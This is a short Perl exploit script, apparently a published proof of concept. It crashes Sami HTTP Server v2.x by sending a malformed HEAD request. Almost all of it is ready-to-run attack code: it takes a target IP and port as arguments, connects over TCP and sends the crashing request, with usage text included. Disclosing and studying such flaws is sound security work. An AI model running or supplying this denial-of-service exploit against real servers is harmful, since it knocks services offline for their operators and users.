#!/usr/bin/perl # # Sami HTTP Server v2.x Remote Denial of Service with (HEAD) request. # # -------------------------------------------------------------------- # The vulnerability is caused due to an error in handling the HEAD # command. This can be exploited to crash the HTTP service. # -------------------------------------------------------------------- # # Author: Jonathan Salwan # Mail: submit [AT] shell-storm.org # Web: http://www.shell-storm.org use IO::Socket; print "[+] Author : Jonathan Salwan\n"; print "[+] Soft : Sami HTTP Server v2.x Remote DoS\n"; if (@ARGV < 1) { print "[-] Usage: \n"; print "[-] Exemple: file.pl 127.0.0.1 80\n"; exit; } $ip = $ARGV[0]; $port = $ARGV[1]; print "[+] Sending request...\n"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-]Connexion FAILED!\n"; print $socket "HEAD /\x25 HTTP/1.0\r\n"; close($socket); print "[+]Done!\n";